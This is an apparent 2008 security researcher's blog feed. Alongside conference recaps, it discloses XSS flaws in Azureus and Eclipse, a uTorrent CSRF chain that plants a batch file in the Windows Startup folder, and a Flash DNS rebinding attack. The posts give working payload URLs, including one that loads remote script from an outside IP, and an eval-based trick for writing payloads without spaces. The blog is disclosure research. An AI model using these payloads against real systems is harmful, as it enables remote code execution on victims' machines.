/>&lt;body&gt;<br />Nothing shady going on here....&lt;br&gt;&lt;br&gt;<br />&lt;div id="shady"&gt;&lt;/div&gt;<br />&lt;/body&gt;<br />&lt;/html&gt;</div><br />We can force them to give up their Vista version number just by visiting our page.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_E_3RnfZAsxE/SB8sJVItlnI/AAAAAAAAAKg/5TAFjvjDhN4/s1600-h/unc_1.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_E_3RnfZAsxE/SB8sJVItlnI/AAAAAAAAAKg/5TAFjvjDhN4/s200/unc_1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5196921033812973170" /></a><br />Obviously we can make the iframe invisible so the error message doesn't show up for the victim.<br /><br />So this, in and of itself, is not a system compromising attack, but the more information we can glean from the target the more ammunition we have as attackers. By the way, this does not work in XP.<br><br><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18737993-1214085755890941556?l=r00tin.blogspot.com'/></div>Robhttp://www.blogger.com/profile/15811656706735141330noreply@blogger.com5tag:blogger.com,1999:blog-18737993.post-42723362057533495242008-05-02T03:26:00.006-05:002008-05-02T03:44:37.435-05:00Blue Hat Day 1I'm not going to say much in this post because I'm really tired right now. Mostly because I traveled today and it's 3:30 am in my time zone. But I'm back in Seattle again (<a href="http://r00tin.blogspot.com/2008/04/toorcon-seattle-was-awesome.html">last time</a> was about two weeks ago) and this time it's for <a href="http://www.microsoft.com/technet/security/bluehat/default.mspx">Microsoft's Blue Hat conference</a>.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_E_3RnfZAsxE/SBrRJlItlkI/AAAAAAAAAKI/23ygBDPvxA8/s1600-h/old-microsoft-logo.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_E_3RnfZAsxE/SBrRJlItlkI/AAAAAAAAAKI/23ygBDPvxA8/s200/old-microsoft-logo.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5195695082642970178" /></a><br />Microsoft held a welcoming party for everybody at the <a href="http://www.seesoundlounge.com">See Sound Lounge</a> in downtown fairly close to the waterfront. Pretty cool place, live DJ, good finger foods and free alcohol. I got to hang out with <a href="http://natemcfeters.blogspot.com">Nate</a>, <a href="http://xs-sniper.com/blog">Billy</a>, <a href="http://heasman.blogspot.com/">John</a>, Kev, <a href="http://www.dhanjani.com/">Nitesh</a>, <a href="http://www.toorcon.org">h1kar1</a>, <a href="http://kuza55.blogspot.com/">kuza55</a>, fukami, Peleus Uhley and Dan "Sombrero" Kaminsky. I think I see some of these guys more than I see my girlfriend these days.<br /><br />But anyway, seems like they have a great line up of speakers and topics here and I'm really honored that I was invited to attend. Let the talks begin!<br><br><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18737993-4272336205753349524?l=r00tin.blogspot.com'/></div>Robhttp://www.blogger.com/profile/15811656706735141330noreply@blogger.com0tag:blogger.com,1999:blog-18737993.post-6455755863070924422008-04-30T09:31:00.008-05:002008-04-30T10:09:01.053-05:00Azureus Web UI XSSLike I said in <a href="http://r00tin.blogspot.com/2008/04/utorrent-pwn3d.html">my uTorrent CSRF post</a>, "more torrent pwnage to come soon". Here it is.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_E_3RnfZAsxE/SBiDNVItlhI/AAAAAAAAAJw/qE2MO17UP1E/s1600-h/azureus256wdt4.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_E_3RnfZAsxE/SBiDNVItlhI/AAAAAAAAAJw/qE2MO17UP1E/s200/azureus256wdt4.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5195046435207091730" /></a><br />The <a href="http://azureus.sourceforge.net/plugin_details.php?plugin=azhtmlwebui">web UI plugin for Azureus</a> is vulnerable to XSS which leads to Cross Zone scripting attacks since it starts up a web server on the local host and runs a web application. <br /><br />I won't take the time to explain what all this means since I've done that <a href="http://r00tin.blogspot.com/2008/03/local-web-servers-are-dangerous.html">at length</a> in <a href="http://r00tin.blogspot.com/2008/04/more-on-local-web-servers.html">previous</a> <a href="http://r00tin.blogspot.com/2008/04/eclipse-local-web-server-exploitation.html">posts</a>. I'll just summarize and say that through these vectors the user is vulnerable to arbitrary command execution, arbitrary read/write of files, and bypass of the same-origin policy (depending on the browser version the victim is using). Let's get right to the attacks.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_E_3RnfZAsxE/SBiGTlItliI/AAAAAAAAAJ4/at7JMJFyfXk/s1600-h/XSS_1.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_E_3RnfZAsxE/SBiGTlItliI/AAAAAAAAAJ4/at7JMJFyfXk/s200/XSS_1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5195049841116157474" /></a><br /><div style="background-color:#dddddd">http://localhost:6886/index.tmpl?search="));alert('xss');//</div><br />The vector listed above is one that I found in the search functionality of Azureus.<br /><br /><div style="background-color:#dddddd">http://localhost:6886/index.tmpl?d=d&t="));alert('xss');//</div><br />And this one <a href="http://natemcfeters.blogspot.com">Nate</a> found in the torrent details functionality. Obviously the "alert"s are just for PoC.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_E_3RnfZAsxE/SBiLcFItljI/AAAAAAAAAKA/fr41t_9_aAw/s1600-h/details_xss.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_E_3RnfZAsxE/SBiLcFItljI/AAAAAAAAAKA/fr41t_9_aAw/s200/details_xss.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5195055484703184434" /></a><br /><a href="http://www.rooksecurity.com/blog/?p=10">The post</a> I referenced in a previous <a href="http://r00tin.blogspot.com/2008/04/utorrent-pwn3d.html">blog entry where I disclosed my uTorrent flaws</a> has an example of an interesting CSRF related to the Azureus web UI, although this doesn't lead to system compromise necessarily.<br /><br />Anyway, this is just another example of how web applications that have been coded with little thought towards security being run on your local machine are highly dangerous.<br><br><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18737993-645575586307092442?l=r00tin.blogspot.com'/></div>Robhttp://www.blogger.com/profile/15811656706735141330noreply@blogger.com0tag:blogger.com,1999:blog-18737993.post-45800123009461140152008-04-24T13:32:00.032-05:002008-04-30T10:02:12.930-05:00Eclipse Local Web Server ExploitationI'm starting to feel a bit redundant here...<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_E_3RnfZAsxE/SBDYUlItleI/AAAAAAAAAJY/4RYQGnuGhdU/s1600-h/96-t256.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_E_3RnfZAsxE/SBDYUlItleI/AAAAAAAAAJY/4RYQGnuGhdU/s200/96-t256.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5192888218435818978" /></a><br />Oh well. I've been told that there is a patch available now for this issue so I'm free to talk about it.<br /><br />I discovered <a href="https://bugs.eclipse.org/bugs/show_bug.cgi?id=223539">XSS vulnerabilities</a> in the <a href="http://www.eclipse.org">Eclipse</a> help system. Apparently just about all products based on Eclipse are/were vulnerable.<br /><br />Since the vulnerability is XSS in a locally running web server (hrm, <a href="http://xs-sniper.com/blog/Picasa-URI/">where</a> <a href="http://r00tin.blogspot.com/2008/03/local-web-servers-are-dangerous.html">have</a> <a href="http://r00tin.blogspot.com/2008/04/more-on-local-web-servers.html">we</a> <a href="http://r00tin.blogspot.com/2008/04/utorrent-pwn3d.html">heard</a> that before...) if the user is running IE they may be in trouble.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_E_3RnfZAsxE/R88A9HShf5I/AAAAAAAAACE/W0rUo65Z97M/s1600-h/local_intranet.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_E_3RnfZAsxE/R88A9HShf5I/AAAAAAAAACE/W0rUo65Z97M/s200/local_intranet.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5174355546800750482" /></a><br />When you click on Help -> Help Contents a web server is started up on the local machine. Upon further investigation I discovered that this server is an Apache Coyote 1.1 web server. The web server seems to be started on a pseudo-random port but it felt like a lot of the port numbers were used quite frequently. I never performed any kind of analysis on the random number generation for the port number so I'll leave that to someone else if they want to.<br /><br />Anyway, let's get to the pwnage. Here's the location of the reflected XSS in the Eclipse Help System:<br /><br /><div style="background-color:#dddddd">http://localhost:port/help/advanced/searchView.jsp?searchWord=a");}alert('xss');<br />&lt;/script&gt;</div><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_E_3RnfZAsxE/SBN-4VItlfI/AAAAAAAAAJg/ZX6JWRla1CA/s1600-h/xss_help_1.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_E_3RnfZAsxE/SBN-4VItlfI/AAAAAAAAAJg/ZX6JWRla1CA/s200/xss_help_1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5193634301499774450" /></a><br />Here's the location of the persistent XSS:<br /><br /><div style="background-color:#dddddd">http://localhost:port/help/advanced/workingSetManager.jsp?operation=add&<br />workingSet='%3E%3Cscript%20src%3D'http%3A%2F%2F1.2.3.4%2Fa.js'%3E%3C%2Fscript%3E<br />&hrefs=%2Fcom.adobe.flexbuilder.help.api%2Ftoc.xml&oldName=</div><br />One thing I did find particularly interesting was trying to work around the fact that when I exploited the reflective XSS the web app did not change %20's back into spaces. It took a little thinking to get around this, but I managed.<br /><br />So how does one write a Javascript payload with no spaces? Pretty simply actually. Let's take this snippet of sample code that we want to use for our payload:<br /><br /><div style="background-color:#dddddd">function f(){<br />&nbsp;&nbsp;&nbsp;&nbsp;var hr = new ActiveXObject("Msxml2.XMLHTTP");<br />&nbsp;&nbsp;&nbsp;&nbsp;hr.onreadystatechange = function(){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(hr.responseText);<br />&nbsp;&nbsp;&nbsp;&nbsp;};<br />&nbsp;&nbsp;&nbsp;&nbsp;hr.open("GET","http://www.google.com",true);<br />&nbsp;&nbsp;&nbsp;&nbsp;hr.send(null);<br />}<br /><br />setTimeout('f()',2000);</div><br />First of all, the "var" keyword is not needed. You can perform implicit variable declaration in Javascript. But what about the rest? What I did was get rid of all the whitespace that wasn't needed and came up with this:<br /><br /><div style="background-color:#dddddd;">function f(){hr=new ActiveXObject("Msxml2.XMLHTTP");hr.onreadystatechange=function(){<br />alert(hr.responseText);};hr.open("GET","http://www.google.com",true);hr.send(null);}<br />setTimeout('f()',2000);</div><br />That's pretty messy looking, but there are still spaces in there. What I did next was put that entire thing into a string and replaced the spaces with "..".<br /><br /><div style="background-color:#dddddd;">b="function..f(){hr=new..ActiveXObject("Msxml2.XMLHTTP");hr.onreadystatechange=<br />function(){alert(hr.responseText);};hr.open("GET","http://www.google.com",true);<br />hr.send(null);}setTimeout('f()',2000);";</div><br />But if you eval that string it's not going to work because of the ".." characters replacing the spaces. Just use the replace function!<br /><br /><div style="background-color:#dddddd;">b="function..f(){hr=new..ActiveXObject("Msxml2.XMLHTTP");hr.onreadystatechange=<br />function(){alert(hr.responseText);};hr.open("GET","http://www.google.com",true);<br />hr.send(null);}setTimeout('f()',2000);";<br />a=a.replace(/\.\./g,String.fromCharCode(32));<br />eval(a);</div><br />If we put it all together we have this as our XSS attack string:<br /><br /><div style="background-color:#dddddd;">http://127.0.0.1:55610/help/advanced/searchView.jsp?searchWord=a");}b="function..f<br />(){hr=new..ActiveXObject(\"Msxml2.XMLHTTP\");hr.onreadystatechange=function()..{<br />alert(hr.responseText);};hr.open(\"GET\",\"http://www.google.com\",true);hr.send<br />(null);}setTimeout('f()',2000);";b=b.replace(/\.\./g,String.fromCharCode(32));<br />eval(b);&lt;/script&gt;</div><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_E_3RnfZAsxE/SBOCvFItlgI/AAAAAAAAAJo/2B-OWx_mzZw/s1600-h/pwn3d.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_E_3RnfZAsxE/SBOCvFItlgI/AAAAAAAAAJo/2B-OWx_mzZw/s200/pwn3d.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5193638540632495618" /></a><br><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18737993-4580012300946114015?l=r00tin.blogspot.com'/></div>Robhttp://www.blogger.com/profile/15811656706735141330noreply@blogger.com1tag:blogger.com,1999:blog-18737993.post-3412393857112652292008-04-20T23:01:00.011-05:002008-04-21T00:05:35.046-05:00toorcon Seattle was AwesomeI had a great time at toorcon Seattle. The talks were awesome.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_E_3RnfZAsxE/SAwUXO0ti3I/AAAAAAAAAI4/DQiX0a_rac4/s1600-h/DSCN0584_1.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_E_3RnfZAsxE/SAwUXO0ti3I/AAAAAAAAAI4/DQiX0a_rac4/s200/DSCN0584_1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5191546859800071026" /></a><br /><a href="http://seattle.toorcon.org/2008/conference.php?id=42">Dan Kaminsky dropped a bomb</a> about how ISPs were taking non-existent subdomains and redirecting them to ad-servers. And let's say these web sites serving up these ads contain an XSS...yeah, MASS pwnage. Gotta love how docucment.domain works. Dan actually rickrolled us all.<br /><br />And then <a href="http://seattle.toorcon.org/2008/conference.php?id=11">John Heasman's talk about the Java browser plugin and Java Web Start</a> was equally enlightening. Sun has some major problems in their implementations of certain aspects of Java. Anyway, I hope Kev is included more in the next version of his talk...<br /><br /><a href="http://seattle.toorcon.org/2008/conference.php?id=24">Katie Moussouris gave a pretty interesting talk</a> on her role at Microsoft and what they're trying to do for responsible disclosure...WHAT? I said Microsoft really is advocating responsible disclosure these days...WHAT?! I said Microsoft seems to really be turning things around...OK!!!!<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_E_3RnfZAsxE/SAwe8-0ti6I/AAAAAAAAAJQ/pHmK18GtMvo/s1600-h/DSCN0471_1.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_E_3RnfZAsxE/SAwe8-0ti6I/AAAAAAAAAJQ/pHmK18GtMvo/s200/DSCN0471_1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5191558503456410530" /></a><br /><a href="http://seattle.toorcon.org/2008/conference.php?id=10">The talk Nate and I did</a> on URI Use and Abuse seemed to get a good response as well. Anyway, there were other great talks that I'm too tired to include right now, but I just want to commend the toorcon team. They really outdid themselves with the parties they threw at the Public N3rd Area and the Last Supper Club. Hats off to all of them. Toorcon San Diego last year was the first one I had ever been to but I'm going to try to make it a point to come back to as many toorcons as possible.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_E_3RnfZAsxE/SAwanO0ti5I/AAAAAAAAAJI/D_eSxMvUF40/s1600-h/nuclear-power-tower1.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_E_3RnfZAsxE/SAwanO0ti5I/AAAAAAAAAJI/D_eSxMvUF40/s200/nuclear-power-tower1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5191553731747744658" /></a><br />Especially the one in the cooling tower of the half-built nuclear plant!<br><br><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18737993-341239385711265229?l=r00tin.blogspot.com'/></div>Robhttp://www.blogger.com/profile/15811656706735141330noreply@blogger.com0tag:blogger.com,1999:blog-18737993.post-22790855065275858672008-04-19T20:03:00.025-05:002008-04-30T10:03:34.907-05:00uTorrent Pwn3dI was going to keep this under my hat, so to speak, but <a href="http://packetstorm.austin2600.net/0804-exploits/torrent-pwnage.txt">this has forced my hand</a>.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_E_3RnfZAsxE/SAqX9O0tixI/AAAAAAAAAII/6nsskS7Ooko/s1600-h/utorrent2yk4.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_E_3RnfZAsxE/SAqX9O0tixI/AAAAAAAAAII/6nsskS7Ooko/s200/utorrent2yk4.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5191128598704917266" /></a><br />I found a few CSRFs that when put together can make a pretty devastating attack against uTorrent's Web UI and the underlying system. Basically you can force uTorrent to move completed downloads to an arbitrary directory on their system, download arbitrary torrents, and completely pwn their box.<br /><br />This <a href="http://www.rooksecurity.com/blog/?p=10">guy from rooksecurity.com</a> had a couple interesting CSRFs that will change the username and password required for the Web UI. But, in order for the attacker to change the username and password the user must already be authenticated...so why go to all that trouble? For this attack we're going to assume that the user is already authenticated to uTorrent's Web UI.<br /><br />First of all you need a way to get a file on their computer. Not only that, but you want to be able to put that file in an arbitrary location of your choosing. To do that you need to turn on uTorrent's "Move completed downloads to" option.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_E_3RnfZAsxE/SAqZbe0tiyI/AAAAAAAAAIQ/CasF7v9mgvk/s1600-h/utorrent_1.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_E_3RnfZAsxE/SAqZbe0tiyI/AAAAAAAAAIQ/CasF7v9mgvk/s200/utorrent_1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5191130217907587874" /></a><br />Then you need to tell uTorrent what directory to move the completed file to.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_E_3RnfZAsxE/SAqZ1-0tizI/AAAAAAAAAIY/MpD5jZZGWrE/s1600-h/utorrent_2.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_E_3RnfZAsxE/SAqZ1-0tizI/AAAAAAAAAIY/MpD5jZZGWrE/s200/utorrent_2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5191130673174121266" /></a><br />The URL is cut off in the screenshot, so here's what's actually happening:<br /><br /><div style="background-color:#dddddd">http://localhost:14774/gui/?action=setsetting&s=dir_completed_download&v=C:\<br />Documents%20and%20Settings\All%20Users\Start%20Menu\Programs\Startup</div><br />And this is what uTorrent's downloads preferences should now look like:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_E_3RnfZAsxE/SAqfj-0ti2I/AAAAAAAAAIw/1JlyWCL6kf8/s1600-h/utorrent_4.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_E_3RnfZAsxE/SAqfj-0ti2I/AAAAAAAAAIw/1JlyWCL6kf8/s200/utorrent_4.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5191136961006242658" /></a><br />Completed files will be moved to the All Users Startup folder and once we can force them to download files we effectively have pwnage. I actually can force them to download a torrent by doing the following:<br /><br /><div style="background-color:#dddddd">http://localhost:14774/gui/?action=add-url&s=http://www.whatever.com/file.torrent</div><br />Let's say that the torrent makes uTorrent download pwn.bat. Once the download finishes, pwn.bat resides in the Startup folder and gets executed when the user reboots. But wait, it gets worse...<br /><br />uTorrent has an XSS in the Web UI! Remember my previous <a href="http://r00tin.blogspot.com/2008/03/local-web-servers-are-dangerous.html">two</a> <a href="http://r00tin.blogspot.com/2008/04/more-on-local-web-servers.html">posts</a> about the dangers of local web servers? There are actually a few different spots to exploit this. Here are the PoC strings for the XSS vectors.<br /><br /><div style="background-color:#dddddd">http://localhost:14774/gui/?action=setsetting&s=tracker_ip&<br />v=%3Cscript%3Ealert('xss')%3C/script%3E</div><br /><div style="background-color:#dddddd">http://localhost:14774/gui/?action=setsetting&s=ct_hist_comm&<br />v=%3Cscript%3Ealert('xss')%3C/script%3E</div><br /><div style="background-color:#dddddd">http://localhost:14774/gui/?action=setsetting&s=dir_active_download&<br />v=%3Cscript%3Ealert('xss')%3C/script%3E</div><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_E_3RnfZAsxE/SAqeg-0ti1I/AAAAAAAAAIo/6kmtkQekXCQ/s1600-h/utorrent_3.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_E_3RnfZAsxE/SAqeg-0ti1I/AAAAAAAAAIo/6kmtkQekXCQ/s200/utorrent_3.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5191135809955007314" /></a><br />These are ALL persistent XSS attacks. To make the malicious Javascript fire you need to force the user's browser to visit<br /><br /><div style="background-color:#dddddd">http://localhost:14774/gui/?action=getsettings</div><br />Remember, the "localhost" portion is VERY important because you want to perform a Cross ZONE Scripting attack, not just XSS. You could use "loopback" in place of "localhost" as well. So, moving on...<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_E_3RnfZAsxE/R88A9HShf5I/AAAAAAAAACE/W0rUo65Z97M/s1600-h/local_intranet.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_E_3RnfZAsxE/R88A9HShf5I/AAAAAAAAACE/W0rUo65Z97M/s200/local_intranet.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5174355546800750482" /></a><br />If your target is using IE 6 then you don't have to force them to download a file to the Startup folder and wait for them to restart their box. All you have to do is force them to download the file to a location like C:\ and then execute it for them with the WScript.Shell ActiveXObject since your Javascript is in the Local Intranet zone.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_E_3RnfZAsxE/SAqdYO0ti0I/AAAAAAAAAIg/3AKPa1Rl1qY/s1600-h/stallowned.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp1.blogger.com/_E_3RnfZAsxE/SAqdYO0ti0I/AAAAAAAAAIg/3AKPa1Rl1qY/s200/stallowned.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5191134560119524162" /></a><br />Pwn3d. Stay tuned, more torrent pwnage to come soon...<br><br><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18737993-2279085506527585867?l=r00tin.blogspot.com'/></div>Robhttp://www.blogger.com/profile/15811656706735141330noreply@blogger.com4tag:blogger.com,1999:blog-18737993.post-3226913523655149292008-04-19T03:28:00.008-05:002008-04-19T19:48:32.932-05:00toorcon SeattleWell, I'm in the beautiful city of Seattle and have just enjoyed the first night of <a href="http://seattle.toorcon.org/2008/about.php">the conference</a> put on by h1kar1 and team. I loved the live DJ's and the <a href="http://maps.google.com/maps?q=public+n3rd+area,+seattle,+wa">Public N3rd Area</a>.<br /><br />But before I got there, I saw this on one of the screens at the airport in my home town:<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_E_3RnfZAsxE/SAmuH-0tiwI/AAAAAAAAAIA/15WeisG5ZkI/s1600-h/DSCN0571_1.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_E_3RnfZAsxE/SAmuH-0tiwI/AAAAAAAAAIA/15WeisG5ZkI/s200/DSCN0571_1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5190871497667611394" /></a><br />At least they've upgraded from 98 to XP... Sorry for the blurry picture quality, I was in a hurry.<br /><br />But it's time for me to get some sleep. <a href="http://natemcfeters.blogspot.com">Nate</a> and I have to rework <a href="http://seattle.toorcon.org/2008/conference.php?id=10">our talk</a> to fit into a 20 minute slot. Can't wait to hear <a href="http://seattle.toorcon.org/2008/conference.php?id=42">Dan Kaminsky</a> and <a href="http://seattle.toorcon.org/2008/conference.php?id=11">John Heasman's</a> talks.<br><br><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18737993-322691352365514929?l=r00tin.blogspot.com'/></div>Robhttp://www.blogger.com/profile/15811656706735141330noreply@blogger.com0tag:blogger.com,1999:blog-18737993.post-48799567331777256082008-04-16T10:07:00.003-05:002008-04-17T16:14:58.363-05:00Attack 0f T3h D0wdI know <a href="http://natemcfeters.blogspot.com/2008/04/sickest-thing-ive-seen-this-year.html">everybody</a> <a href="http://xs-sniper.com/blog/2008/04/15/mark-dowd-scares-me/">else</a> has already blogged <a href="http://documents.iss.net/whitepapers/IBM_X-Force_WP_final.pdf">about</a> <a href="http://www.matasano.com/log/1032/this-new-vulnerability-dowds-inhuman-flash-exploit/">this</a>, but it impressed me so much I have to say something too. <a href="http://r00tin.blogspot.com/2008/04/flash-dns-rebinding-attack-explained.html">Nate and my Flash pwnage</a> pales in comparison...<br><br><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18737993-4879956733177725608?l=r00tin.blogspot.com'/></div>Robhttp://www.blogger.com/profile/15811656706735141330noreply@blogger.com0tag:blogger.com,1999:blog-18737993.post-47143694202270303732008-04-09T09:50:00.017-05:002008-04-19T19:47:16.949-05:00Flash DNS Rebinding Attack ExplainedInstead of waiting a couple days to post about this, I guess I'll do it now. It's a pretty <a href="http://www.securityfocus.com/bid/28697">interesting flaw</a> and since no one has posted the technical details of it yet, I'll be the one to do it.<br /><br />First of all, this attack relies on DNS canonicalization differences between the browser and Flash. I'm going to pick on IE for this example.<br /><br />So let's say your DNS search domain is mycompany.com and let's say your browser tries to go to the evil.com website. If evil.com can't be reached your system will start to look through your search domain by performing a DNS lookup for evil.com.mycompany.com (this is difficult because I need to be careful of my use of periods).<br /><br />On the other hand, if your browser tries to go to evil.com. (notice the dot(.) on the end of that domain name) and it can't connect to it then it won't do any further lookups. It treats evil.com. as an absolute domain (I'm probably not using that terminology correctly, oh well).<br /><br />The important thing to know here is that IE and Flash treat the differences between evil.com and evil.com. differently.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_E_3RnfZAsxE/R_zfDdRxDvI/AAAAAAAAAG8/boJZxl7x8zc/s1600-h/ie7.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_E_3RnfZAsxE/R_zfDdRxDvI/AAAAAAAAAG8/boJZxl7x8zc/s200/ie7.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5187266121315716850" /></a><br /><b>IE:</b><br />You go to evil.com, DNS lookup is performed for evil.com, the browser pins the resulting IP to evil.com and life is good. Then you go to evil.com., IE sees evil.com. as a totally DIFFERENT domain, performs a DNS lookup, pins that IP to evil.com. and life is still good.<br /><br />All of the cross domain restrictions are in place that you would normally have. XMLHTTP requests are blocked, iframes are protected, etc.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_E_3RnfZAsxE/R_zLkNRxDuI/AAAAAAAAAGs/OJS4aQ15OwA/s1600-h/adobe_flash.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_E_3RnfZAsxE/R_zLkNRxDuI/AAAAAAAAAGs/OJS4aQ15OwA/s200/adobe_flash.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5187244693723877090" /></a><br /><b>Flash:</b><br />The SWF originates from the evil.com domain so URLLoader requests can only be made back to the same domain. But, Flash sees evil.com and evil.com. as THE SAME DOMAIN.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_E_3RnfZAsxE/R_zgydRxDxI/AAAAAAAAAHM/N3s-nZsLdJs/s1600-h/charge_lg.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_E_3RnfZAsxE/R_zgydRxDxI/AAAAAAAAAHM/N3s-nZsLdJs/s200/charge_lg.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5187268028281196306" /></a><br /><b>Attack:</b><br />Armed with the information above, we can come up with an attack scenario. Since IE treats evil.com and evil.com. as different domains and Flash treats them as the SAME domain, this means pwnage.<br /><br />Flash allows requests to be made for evil.com. since it sees that as being the originating domain, it passes them off to IE which sees evil.com. as a DIFFERENT domain and performs a DNS lookup. By this time the attacker has changed the IP address for evil.com, either manually or automatically. IE performs the HTTP request for evil.com., passes that result back to Flash and it has now been pwned.<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_E_3RnfZAsxE/R_zf1tRxDwI/AAAAAAAAAHE/kSPfPGRk0VU/s1600-h/PWNED111.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" 